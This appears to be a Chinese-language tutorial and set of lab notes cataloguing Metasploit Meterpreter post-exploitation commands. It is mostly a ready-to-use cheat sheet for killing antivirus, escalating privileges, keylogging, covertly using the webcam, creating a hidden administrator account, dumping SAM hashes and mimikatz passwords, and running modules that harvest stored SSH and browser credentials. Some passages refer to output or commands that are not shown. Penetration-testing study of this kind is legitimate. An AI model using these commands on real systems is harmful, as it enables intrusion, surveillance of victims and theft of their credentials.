Metasploit是一个框架,加载payload成功拿下靶机后可以进行的进一步操作称之为后渗透命令。
Meterpreter命令详情
getpid #查看当前Meterpreter Shell的进程PID
migrate 1384 #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime #查看主机运行时间
getuid #查看获取的当前权限
getsystem #提权
run killav/run post/windows/manage/killav #关闭杀毒软件
screenshot #截图
webcam_list #查看目标主机的摄像头
webcam_snap #拍照
webcam_stream #开视频
execute 参数 -f 可执行文件 #执行可执行程序
run getgui -u hack -p 123 #创建hack用户,密码为123
run getgui -e #开启远程桌面
keyscan_start #开启键盘记录功能
keyscan_dump #显示捕捉到的键盘记录信息
keyscan_stop #停止键盘记录功能
uictl disable keyboard #禁止目标使用键盘
uictl enable keyboard #允许目标使用键盘
uictl disable mouse #禁止目标使用鼠标
uictl enable mouse #允许目标使用鼠标
下面是一些常用的后渗透命令及实验。
基本命令:
基本命令包含Meterpreter与MSF终端,Ruby接口,目标Shell等交互命令。
- background命令
如果想在MSF终端执行其他任务,可以使用backgruond命令将MSF终端隐藏在后台。
- sessions命令
查看已经获取的会话,如果如果想与其交互使用session –i ID
- quit命令
quit命令直接关闭当前Meterpreter会话,返回MSF终端。 - shell命令
shell命令可以直接获取系统控制台shell,如果目标系统上命令可以执行程序不存在或禁止访问,那么shell命令会出错。
- irb命令
这个可以跟ruby语言交互(我没学过,暂时不会用)
- run getgui -e
开启靶机3389端口
win下 mstsc
- run hashdump
枚举账户的hash散列值
后渗透模块命令:
-
mimikatz模块
wdigest命令获取账户名账户密码
-
msv抓取密码MD5
10.这里需要购买(没必要。。)
-
webcam_list 查看靶机是否有摄像头
-
webcam_snap 打开靶机摄像头拍一张照片
-
webcam_stream 打开视频
(我这里是虚拟机就不试了。。) -
screenshot 当前桌面截图
系统命令:
-
cat命令
查看目标系统上的文件内容
(但是需要绝对路径,不能使用通配符)
-
getwd命令
Getwd命令可以获取目标机上的工作目录,相似命令有getlwd。
-
upload命令
Meterpreter的upload命令可以上传文件或者文件夹到目标机器上。
(这里跟的路径应该是c盘的web服务器目录下,然后就可以用御剑之类的连了,我这里靶机没有装web服务器所以。。)
-
download命令
download命令从目标机上下载文件或者文件夹,主语斜线与反斜线。
(后面可以接下载到的路径,不能用通配符。)
-
edit命令
使用edit命令可以调用vi编辑器,修改目标机器上的文件。
-
Search命令
搜索目标机器上的文件。
(可以使用通配符)
网络命令:
- ifconfig命令
获取目标机器的网络信息。
(因为是在后渗透界面中,所以不是ipconfig,如果在shell界面中,就是ipconfig了)
- portfwd命令
这个命令类似端口映射,重要端口会有访问限制时可以将端口连接到其他端口。
上面这条命令指将3389这个端口转发到1234端口上,用rdesktop就可以链接了。
-
run getgui -e
开启靶机远程端口
-
route命令
route命令用于显示目标主机的路由信息。
系统命令:
创建一个隐藏用户
Net user hackup$ 123 /add
Net localgroup administrators hackup$ /add
reg export HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users c:\1.reg 【导出注册表】
- ps命令类似命令netstat
查看靶机上的进程信息。
- migrate命令
将会话移植到另一个比较重要的进程内存中,这样就不会应为进程被杀死而断连。
(这个就是我们meterpreter连接到靶机的进程及端口,这种很容易被杀掉或断掉)
一般可以移植到这些进程上(它们比较重要一般不会被杀掉)
-
getpid命令
获取当前会话pid。
(因为刚刚把进程移植到了2104上了,所以这里是2104)
-
sysinfo命令
用于查看目标系统信息。
- shutdown命令
关闭目标机器。
当然后渗透命令远不止这些可以自己研究研究
扫描命令:
脚本位于
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
run post/windows/gather/checkvm #是否虚拟机
run post/linux/gather/checkvm #是否虚拟机
run post/windows/gather/forensics/enum_drives #查看分区
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks #获取最近的文件操作
run post/windows/gather/enum_ie #获取IE缓存
run post/windows/gather/enum_chrome #获取Chrome缓存
run post/windows/gather/enum_patches #补丁信息
run post/windows/gather/enum_domain #查找域控
run post/windows/manage/enable_rdp #3389 账号密码创建
run post/multi/gather/ssh_creds 目标主机保存的ssh身份验证信息(linux系统常用)
run post/multi/gather/firefox_creds 目标主机火狐浏览器保存的账号密码
run post/multi/gather/env 目标主机环境变量信息
run post/windows/manage/delete_user USERNAME=a 删除目标主机的a账号
run post/multi/recon/local_exploit_suggester 目标主机存在哪些本地提权漏洞
run post/windows/gather/enum_snmp 枚举snmp信息
run post/windows/gather/enum_logged_on_users 目标主机当前在线的用户(SID=500是管理员账号)
run post/windows/gather/enum_applications 目标主机安装了哪些软件
run post/windows/gather/credentials/credential_collector 目标主机上的身份认证信息